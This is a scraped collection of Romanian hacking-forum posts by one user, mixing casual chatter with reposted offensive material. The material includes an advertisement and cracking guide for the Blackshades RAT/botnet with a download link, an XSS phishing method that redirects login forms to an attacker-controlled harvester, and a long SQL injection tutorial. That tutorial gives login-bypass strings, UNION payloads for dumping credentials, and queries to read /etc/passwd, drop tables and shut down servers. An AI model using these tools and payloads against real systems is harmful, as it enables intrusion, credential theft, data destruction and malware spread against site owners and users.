Nytro

Mi-am cumparat azi: Octavian Paler - Viata pe un peron Gib Mihaescu - Zilele si noptile unui student intarziat Mircea Eliade - Romanul adolescentului miop Momentan citesc Traian Anghel - Introducere in AJAX. Dar intru in sesiune, si pana nu termin cu examenele nu cred ca mai citesc nimic.

Nu intelege nimeni nimic din prostia aia. Vor face toti ca acolo. Daca acolo scrie "Pune order by 1337 si o sa dea eroare" si nu da, nu vor sti ce sa faca mai departe. Trebuie mai intai explicat, apoi exemple concludente, nu de pe orice site vulnerabil, sunt mari diferente intre un site si altul, intre un SQL Injection si un altul. In plus, acest tutorial nu este adresat incepatorilor. Este adresat celor care cunosc un sistem de management al bazelor de date relationale si pe care il inteleg, si de preferat in care au si lucrat. Daca ti s-a explicat ce se intampla daca faci aciunea "x", vei stii care e cauza si ce sa faci mai departe. Degeaba vezi un exemplu daca propriul caz nu e IDENTIC.

Daca ai invatat programare de pe Google e clar, faci parte din elita programatorilor... Ganditi si voi putin. Pe Google gasiti tutoriale, de obicei extrem de scurte si extrem de proaste. Va ganditi si voi: Cine scrie acele tutoriale? Oare le scrie Xulescu care programeaza in acel limbaj de 20 de ani, sau Vasile de varful muntelui, cel de 12 ani care a vazut el pe undeva ceva, crede ca a invatat ceva si se apuca si scrie un tutorial? Un limbaj de programare il inveti din carti. Si aceste carti rareori au mai putin de 300 de pagini. Si cum probabil va dati si voi seama, aceste carti nu sunt scrise de acel Vasile de 12 ani, ci de oameni cu o experienta vasta in domeniu. Mergeti si voi la o biblioteca mai mare sau prin librarii, luati o carte care prezinta un anumit limbaj, rasfoiti-o, apoi luati tutorialul de 3 pagini al lui Vasile si comparati-le. A, da, vreti sa invatati repede. Puteti invata repede, dar foarte putine si fara sa intelegeti prea multe. Daca vreti sa invatati un limbaj de programare in adevaratul sens al cuvantului, mai intai cititi 2-3 carti care il prezinta, apoi puteti citi niste tutoriale care va atrag prin titlu ca apoi sa observati bazaconiile pe care le contin. Apoi, desigur, dupa 3 ani de practica puteti spune ca ati invatat un limbaj de programare. Conceptul e simplu: 1-3 ani = incepator, 3-6 ani = mediu, +6 ani = avansat. Intre timp va puteti minti amicii ca stiti x limbaje de programare, doar pentru ca stiti sa scrieti un "Hello world" in ele.

Da, m-am uitat putin pe acolo, imi place.

Functia se apeleaza o data pe secunda si la fiecaare apel decrementeaza valoarea unei variabile. Nu mai bine setezi acea variabila la o valoare mica, sa zicem 2?

A, da ma, e un slabanog cu ochelari parca.

Pfff. Programele GUI pentru Linux se fac in general folosind Qt, acesta fiind folosit de KDE sau folosind Gtk, acesta fiind folosit de Gnome. Toate distributiile de Linux au runtime-urile pentru aceste utilitati, adica librariile necesare pentru GUI. Deci nu conteaza desktop environment-ul.

Sunt posturi mai "noi" din 2011 in alte topicuri

Nuuuuu. Voiam eu sa fac un astfel de program. Ohoo, are ceva optiuni. Sa vad daca imi place, daca stie sa se conecteze SYN > ACK... ca serie de 3 pachete. Modificare. Imi place, poti face IP spoofing. Pacat ca la ICMP nu ai decat tipul Echo. +1

"Am nociropcu scris in frumyre e nocorcu meu" Salam rullz ))))

Sa te fut, eu voiam sa postez primu

Cat pe ce sa fiu la 00:00 pe WC, putin ametit Inca 4 minute :->

Blackshades NET 3.4 by DaPimp & M4x Deciding between a RAT, a host booter, or controlling a botnet has never been easier. With Blackshades NET, you get the best of all three - all in one with an easy to use, nice looking interface. You are able to choose between four crisp looking skins, with the default being a very nicely-fitting black theme. Even better, Blackshades NET does a lot of the work for you - it can automatically map your ports, seed your torrent for you, and spread through AIM, MSN, ICQ and USB devices. Don't know how to set up a RAT? Many people are here to help - and there are tutorials, too! A big thing in deciding could be the fact that Blackshades NET customers get a 20% discount on Blackshades Crypt! Blackshades NET is a very advanced Remote Administration tool coded in Visual Basic 6. Unlike many of you think, VB6 is not as limited and useless as you think. This RAT, unlike many other that are for sale on the marketplace, has no dependencies (.NET Framework, java, etc) and works extremely well. Purchasing will provide you with lifetime updates, even major updates. It is regularly updated and is as soon as needed. The current version is 3.3 Customers also get their own support forum where they can give suggestions for updates, report bugs, get support from the coders and other members, and more! Because of this, I no longer offer remote support over MSN or Teamviewer. If you are having a problem, it is better to search the forum to see if others are having it and to have it archived if it is a legitimate problem. Not only that, but customers of my product are so happy with it that they are willing to offer support to new users -without me paying them or giving them free copies- to make sure all users are dealt with as I am busy with sales of Blackshades and (new!) Blackshades Crypt. Still not enough to confirm that even noobs can use this, the package comes with two very detailed, picture-heavy tutorials compiled by SakiMCM. Everyone should thank him for these great tuts! A couple things to note before purchasing: - The stub is NOT FUD! - You get lifetime updates - Support is offer, but NOT by me! I have people to take care of it: look below. - It is NOT my responsibility to go on teamviewer and walk you through this step-by-step. There are two extremely in-depth tutorials. - Server works great on Windows XP/Vista/7/2000/2003 - It is HWID protected. If you format a lot, I can update your HWID quickly. Payment is Simple: I accept these payment methods (in order of prefference) - AlertPay - Western Union - WMZ - Liberty Reserve - Moneybookers The price is a light, one time fee which includes all updates of the program Price: $50 For Question/Sales information/Support/Bug Reports/Help/Suggestions, just post in the right forum here or PM me! Commands: - Ping - Filter Connections (By ID, WAN, LAN, DDOS, IM, USB, Username, Comp. Name, Privileges, OS, Uptime, Idle, Ping, Socks4, Country, Version) - Install Date - Change Host (New DNS to connect to) - Select All/Range - Resolve Hostname - Copy (WAN, LAN, Socks, Full Info, Entire List, Socks Checker List) - Audio Capture - Full MSN Controller (Block, Add, Unblock, Mass message!) - Screen Capture and Control (Mouse/Keyboard supported, choose bitsize for quicker transfer) - Keylog Manager (All/Selected/Single, Filtered/Scan/Complete) - Webcam Capture - DDoS (UDP/TCP, select packet/sockets/packet size/port/ip, ability to ddos on join, by country, by ping, by IP range, or random) - View Network Statistics - Create Socks4 Proxy (Will not work behind NAT) - Pharming/Redirect - Sniffer - Website Visit (Visible/Multiple Times Hidden) - File Manager (Search, Execute, Upload, Delete, Download, Multi File Download, Folder Download, Advanced Image Gallery/Previewer) - Process Manager (Resume, Suspend, Kill) - Registry Manager (New Key, New Value, Delete Key, Delete Value) - Service Manager (Start, Stop) - Shell (cmd prompt) - Download/Execute - Update Idle Time - Seed Torrent - File Infector - Update Uptime - Fun Manager (Reverse/Normal Mouse, Open/Close CD Tray, Hide/Show Mouse, Hide/Show Desktop Icons, Start/Stop Crazy Mouse, Send Message Box, Change Wallpaper (by URL), Speak Text (Type it, then send it. Choose Slow-Mo, Speedy, or Regular Speed), Set Volume 100%, Mute Volume, Unmute Volume, Start Screensaver, Restart Computer, Logoff Computer, Shutdown Computer, Turn off Monitor, Turn on Monitor) - Passwords: Internet Explorer 7/8 Firefox 3.x CD Keys Windows Product Keys MSN Messenger Windows Messenger Windows Live Messenger (WinXP/Vista/7) Yahoo Messenger (5.x/6.x) Google Talk ICQ Lite (4.x/5.x/2003) AOL Instant Messenger (v4.6 or below/AIM 6.x/AIM Pro) Trillian Trillian Astra Miranda GAIM/Pidgin MySpace IM PaltalkScene Digsby Outlook Express Microsoft Outlook 2000/2002/2003/2007/2010 (POP3, IMAP, HTTP and SMTP Accounts) Windows Mail Windows Live Mail IncrediMail Eudora Netscape (6.x/7.x) Mozilla Thunderbird Group Mail Free Yahoo! Mail Hotmail/MSN mail Gmail Google Desktop Google Talk - Spread (USB, MSN, AIM/ICQ) - Edit ID - Update Server - Remove Server Features: Web Server - Control your bot through the web server, and also set up admin/guest accounts with editable privileges for guests! - Station - Host through your botnet through your bot to prevent tracebacks 100% - IP to Country Flags - New Bots show as Red - Icon Changer - Change to any .ico File - File Info Cloner - Clone file details of any exe file - Server Builder (Uses string replacement - no EOF needed!) - All settings are stored and remembered - After a sucessful login, you will not need to input your username and click login - it will automatically log you in. - Statistics (Disconnected, Attempt, Established Connection, etc) - View Chart of Bots by Country - Skin Chooser - choose between 4 lovely skins Wink - Database Logging (Log Passwords, Connections, Keylogs to SQL) - Tasks (Keylog, Passwords, DDoS Start/Stop, DL/Execute, Update without being @ PC) - Multi Transfers (Download multiple files at once, view multiple screens at once, or view multiple webcams at once!) - Process Protection (Optional) (Cannot be killed by task manager on Vista/7. On XP, you will get BSOD and restart - if protection fails on Vista/7, it will get BSOD and restart) - Network Sharing (Input the IP and Port of a friend and he can share your bots - update and remove are not allowed) - No dependencies required. Cracked again by DaPimp & M4x Crack Art: Loader + Builder Howto Use: 1.) Start "Client.exe" and wait until its Loaded (Login Screen), START AS ADMIN 2.) Start my Loader AS ADMIN 3.) When its finished press "1" and ENTER. 4.) Now you can Login on Blackshades with any Name! Howto create a Server: 1.) Start Blackshades (Look above) 2.) Configure your Server 3.) Press Build. 4.) Now a Messagebox appear, press Ctrl + C (Copy Paste) in the Messagebox and paste the Clipboard to Notepad! Now Copy the Middle line (///....///dummy///) COMPLETLY to Clipboard, without a new line or something other. --------------------------- Fehler --------------------------- ///47437A53475F5347437C535E///1234///5678///3F5935461A4E241D19///250423250C08031C092813470B1E17///app///25042305061915522928070C0002171F///09287E252B2822305A6058502D205F2F78202F4354312B0F4C2A595234290F53285754365530///0///0///0///0///0///CW2HAI288N///0///dummy/// --------------------------- OK --------------------------- So Copy the Config: ///47437A53475F5347437C535E///1234///5678///3F5935461A4E241D19///250423250C08031C092813470B1E17///app///25042305061915522928070C0002171F///09287E252B2822305A6058502D205F2F78202F4354312B0F4C2A595234290F53285754365530///0///0///0///0///0///CW2HAI288N///0///dummy/// 5.) Type a "2" in my Loader and press ENTER. 6.) Make sure you have the Blackshadesconfig on your Clipboard and press ENTER again. 7.) Server.exe is your finished Server! Download: http://rapidshare.com/files/424504020/BS_Crack_By_DaPimp.rar Nu l-am incercat, nu stiu daca e infectat, nu sunt raspunzator de nimic. Sursa: Blackshades NET 3.4 by DaPimp & M4x - r00tsecurity

Blackbuntu Ultimate OS for Hacking About Blackbuntu Blackbuntu is distribution for penetration testing which was specially designed for security training students and practitioners of information security. Blackbuntu is penetration testing distribution with GNOME Desktop Environment. It's currently being built using the Ubuntu 10.10 and work on reference Back|Track. It's created in our own time as a hobby. Maintainer Team: Project Founder & Main Developer: c1ph3r < c1ph3r {at} blackbuntu . com > Developer: x-c0d3 < x-c0d3 {at} blackbuntu . com > Developer: mayaseven < mayaseven {at} blackbuntu . com > Contributor: salary < salary {at} blackbuntu . com > Contact us: We're requires some developers for working on a variety of interesting projects and in particular to join in an innovative and challenging project. just write to info {at} blackbuntu.com Review : http://www.youtube.com/watch?v=ELt2rl5vImg Download: http://www.blackbuntu.com/download

How to phish the effective and smart way using XSS Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself) you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc. Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files. Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue. One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”. With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action. It can be done with this 3 step attack: 1. step: Inject the forms of a XSS exploitable page, e.g. with a script like this: http://www.e-x-e.dk/labs/autoPhisher/injector.js. A super simple yet effective script I’ll be using for this PoC. 2. step: Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this: http://www.e-x-e.dk/labs/autoPhisher/source/index.php This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc. The last part of the script is computing a new pusher-injected URL to which the victim will be sent. 3. step: Let the pusher to its job Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript. The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here: http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php Here a place you can test this thing out: http://www.doid.dk/page/main.asp?error=timeout&referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E Example user / password: testerLars / testerLars Let me know what you think by making some comments and maybe leaving some more usage examples. Sursa: How to phish the effective and smart way using XSS | Thomas Stig Jacobsen's constant why Sfinte Cacat, ce fac de Revelion

Da. Eu nu pot numi Revelion ceea ce fac, macar fac ceva util asa. Si vin, manele si prajituri.

[B]Hellbound MySQL injection complete tutorial[/B] TABLE OF CONTENT: #INTRO #WHAT IS DATABASE? #WHAT IS SQL INJECTION? #BYPASSING LOGINS #ACCESSING SECRET DATA #Checking for vulnerability #Find the number of columns #Addressing vulnerable part #Finding MySQL version #MySQL 5 or above injection #MySQL 4 injection #MODIFYING SITE CONTENT #SHUTTING DOWN THE MySQL SERVER #LOADFILE #MySQL ROOT #MAJOR MySQL COMMANDS #FINALIZING THE INJECTION TUTORIAL #REFERENCES #SECURITY SITES #WARGAMEZ SITES #GREETZ AND SHOUTZ #THE END INTRO!! Greetz to all, I m sam207. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial bcoz English is not my native language(I m from Nepal). Now lets begin our walkthrough of SQL injection. WHAT IS DATABASE? Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc. WHAT IS SQL INJECTION? SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location. In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough.. BYPASSING LOGINS Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login scblockedript is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection?? Let's see an example, where the username admin with the password sam207 can login to the site. Suppose, the SQL query for this is carried out as below: SELECT USER from database WHERE username='admin' AND password='sam207' And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the scblockedript is not sanitized. This opens a door for the hackers to gain illegal access to the site. In this example, the attacker can enter the following user data in the login form: username:a or 1=1-- password:blank So, this would make our query as: SELECT USER from database WHERE username='a' or 1=1-- AND password='' Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*. So our above query becomes: SELECT USER from database WHERE username='a' or 1=1 Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel. There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login. Few such combinations are: username:' or 1='1 password:' or 1='1 username:' or '1'='1' password:' or '1'='1' username:or 1=1 password:or 1=1 and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins.. That's all about bypassing logins. ACCESSING SECRET DATA SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections. Sub-section 1: Checking for vulnerability Suppose, u got a site: www.site.com/article.php?id=5 Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned. So, it is: www.site.com/article.php?id=5' Now if the site is not vulnerable, it filters and the page loads normally. But, if it doesn't filter the query string, it would give the error something like below: "MySQL Syntax Error By '5'' In Article.php on line 15." or error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable. Also just using ' may not be the sure test; so you may try different things like: www.site.com/article.php?id=5 union select 1-- If you get error with this, you again come to know that its vulnerable... Just try different things.. Sub-section 2: Find the number of columns So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error. That is, we make our URL query as: www.site.com/article.php?id=5 order by 1/* //this didn't give error. Now, I do increase it to 2. www.site.com/article.php?id=5 order by 2/* //still no error So, we need to increase until we get the error. In my example, I got error when I put the value 3 i.e. www.site.com/article.php?id=5 order by 3/* //this gave me error. So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns. Sub-section 3: Addressing Vulnerable Part: Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page. First lets craft the union statement which won't error.. This becomes like this: www.site.com/article.php?id=5 UNION ALL SELECT null/* This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null.. So for our injection, it becomes: www.site.com/article.php?id=5 UNION ALL SELECT null,null/* For this we do: www.site.com/article.php?id=5 UNION ALL SELECT 1,2/* Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds. In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward. Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below: www.site.com/article.php?id=5 UNION ALL SELECT sam207,null/* or www.site.com/article.php?id=5 UNION ALL SELECT null,sam207/* If sam207 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags.. Sub-section 4: Finding MySQL version: For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version(). So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below: www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/* or www.site.com/article.php?id=5 UNION ALL SELECT version(),2/* So, this would return the version of MySQL running on the server. But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this: www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/* Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on. @@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection. Quick note: Also, you may check for user, database,etc.. by using following: www.site.com/article.php?id=5 UNION ALL SELECT user(),2/* www.site.com/article.php?id=5 UNION ALL SELECT database(),2/* Sub-section 5: MySQL 5 or above injection: Here, I m gonna show u how to access data in the server running MySQL 5 or above. U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site. For getting table list, we use: table_name from information_schema.tables For getting column list, we use: column_name from information_schema.columns So our query for getting the table list in our example would be: www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/* And yeah if u had to use unhex(hex()) while finding version, u will have to do: www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/* This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password. Similarly, to get the column list, we would make our query as: www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/* This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error. Alternatively to find the column in the specific table, u can do something like below: www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser' This would display the columns present in the table tbluser. But this may not work always. Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB. There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.) What I do is: www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/* And this gives me the username and password like below: admin:9F14974D57DE204E37C11AEAC3EE4940 Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(www.openwalls.org), Cain & Able(www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207. Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5. Sub-section 6: MySQL version 4 injection: Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names... Anyway, lets go for MySQL version 4 injection... For example, u would do as below: www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/* Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error. When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists. www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/* The page loaded normally. Now again u have to guess the column names present in the tbluser table. I do something like below: www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/* //this gave me error so there is no column with this name. www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/* //It loaded the page normally along with the username from the table. www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/* //it errored so again the column pass doesnot exist in the table tbluser. www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/* //the page loaded normally with password hash(or plaintext password). Now u may do this: www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/* This gave me: admin:9F14974D57DE204E37C11AEAC3EE4940 On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted. Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names... U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data. MODIFYING SITE CONTENT: Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here. Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed. First let me list these commands: UPDATE: It is used to edit infos already in the db without deleting any rows. DELETE: It is used to delete the contents of one or more fields. DROP: It is used completely delete a table & all its associated data. Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission. Command Usage: UPDATE: Our vulnerable page is: www.site.com/article.php?id=5 Lets say the query is: SELECT title,data,author FROM article WHERE id=5 Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier. So we would do: www.site.com/article.php?id=5 UPDATE article SET title='Hacked By sam207'/* or, u could alternatively do: www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY SAM207',data='Ur site has zero security',author='sam207'/* By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data, & author in the table article. Sometimes, u may want to change the specific page with id=5. For this u will do: www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/* DELETE:As already stated, this deletes the content of one or more fields permanently from the db server. The syntax is: www.site.com/article.php?id=5 DELETE title,data,author FROM article/* or if u want to delete these fields from the id=5, u will do: www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/* DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data. For this, we make our URL as: www.site.com/article.php?id=5 DROP TABLE article/* This would delete table article & all its contents. Finally, I want to say little about ; Though I have not used this in my tutorial, u can use it to end ur first query and start another one. This ; can be kept at the end of our first query so that we can start new query after it. SHUTTING DOWN MySQL SERVER: This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT; So, you would craft a query which would execute the above command... For example, in my case, I would do the following: www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT; WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources... LOADFILE: MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc.. Do something like below: www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/* But sometimes, you will have to hex the part & do something like below: www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427) where I have hexed... Now, if we are lucky, the scblockedript would echo the etc/passwd in the result.. MySQL ROOT: If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL.. For this, you will do: www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/* Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But www.insidepro.com has one to do it.. MAJOR MySQL COMMANDS: Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer.. All the commands here are copy pasted from the post at www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part.. ABORT -- abort the current transaction ALTER DATABASE -- change a database ALTER GROUP -- add users to a group or remove users from a group ALTER TABLE -- change the definition of a table ALTER TRIGGER -- change the definition of a trigger ALTER USER -- change a database user account ANALYZE -- collect statistics about a database BEGIN -- start a transaction block CHECKPOINT -- force a transaction log checkpoint CLOSE -- close a cursor CLUSTER -- cluster a table according to an index COMMENT -- define or change the comment of an object COMMIT -- commit the current transaction COPY -- copy data between files and tables CREATE AGGREGATE -- define a new aggregate function CREATE CAST -- define a user-defined cast CREATE CONSTRAINT TRIGGER -- define a new constraint trigger CREATE CONVERSION -- define a user-defined conversion CREATE DATABASE -- create a new database CREATE DOMAIN -- define a new domain CREATE FUNCTION -- define a new function CREATE GROUP -- define a new user group CREATE INDEX -- define a new index CREATE LANGUAGE -- define a new procedural language CREATE OPERATOR -- define a new operator CREATE OPERATOR CLASS -- define a new operator class for indexes CREATE RULE -- define a new rewrite rule CREATE SCHEMA -- define a new schema CREATE SEQUENCE -- define a new sequence generator CREATE TABLE -- define a new table CREATE TABLE AS -- create a new table from the results of a query CREATE TRIGGER -- define a new trigger CREATE TYPE -- define a new data type CREATE USER -- define a new database user account CREATE VIEW -- define a new view DEALLOCATE -- remove a prepared query DECLARE -- define a cursor DELETE -- delete rows of a table DROP AGGREGATE -- remove a user-defined aggregate function DROP CAST -- remove a user-defined cast DROP CONVERSION -- remove a user-defined conversion DROP DATABASE -- remove a database DROP DOMAIN -- remove a user-defined domain DROP FUNCTION -- remove a user-defined function DROP GROUP -- remove a user group DROP INDEX -- remove an index DROP LANGUAGE -- remove a user-defined procedural language DROP OPERATOR -- remove a user-defined operator DROP OPERATOR CLASS -- remove a user-defined operator class DROP RULE -- remove a rewrite rule DROP SCHEMA -- remove a schema DROP SEQUENCE -- remove a sequence DROP TABLE -- remove a table DROP TRIGGER -- remove a trigger DROP TYPE -- remove a user-defined data type DROP USER -- remove a database user account DROP VIEW -- remove a view END -- commit the current transaction EXECUTE -- execute a prepared query EXPLAIN -- show the execution plan of a statement FETCH -- retrieve rows from a table using a cursor GRANT -- define access privileges INSERT -- create new rows in a table LISTEN -- listen for a notification LOAD -- load or reload a shared library file LOCK -- explicitly lock a table MOVE -- position a cursor on a specified row of a table NOTIFY -- generate a notification PREPARE -- create a prepared query REINDEX -- rebuild corrupted indexes RESET -- restore the value of a run-time parameter to a default value REVOKE -- remove access privileges ROLLBACK -- abort the current transaction SELECT -- retrieve rows from a table or view SELECT INTO -- create a new table from the results of a query SET -- change a run-time parameter SET CONSTRAINTS -- set the constraint mode of the current transaction SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session SET TRANSACTION -- set the characteristics of the current transaction SHOW -- show the value of a run-time parameter START TRANSACTION -- start a transaction block TRUNCATE -- empty a table UNLISTEN -- stop listening for a notification UPDATE -- update rows of a table VACUUM -- garbage-collect and optionally analyze a database FINALIZING THE INJECTION TUTORIAL: I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you.. www.site.com/article.php?id=5 UNION ALL SELECT <scblockedript>alert("XSS via SQL injection");</scblockedript>,2/* Again in the above injection, you may require to hex up the javascblockedript part for bypassing the magic quotes.. Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things.. In the command line interface of MySQL, try various commands enlisted below.. 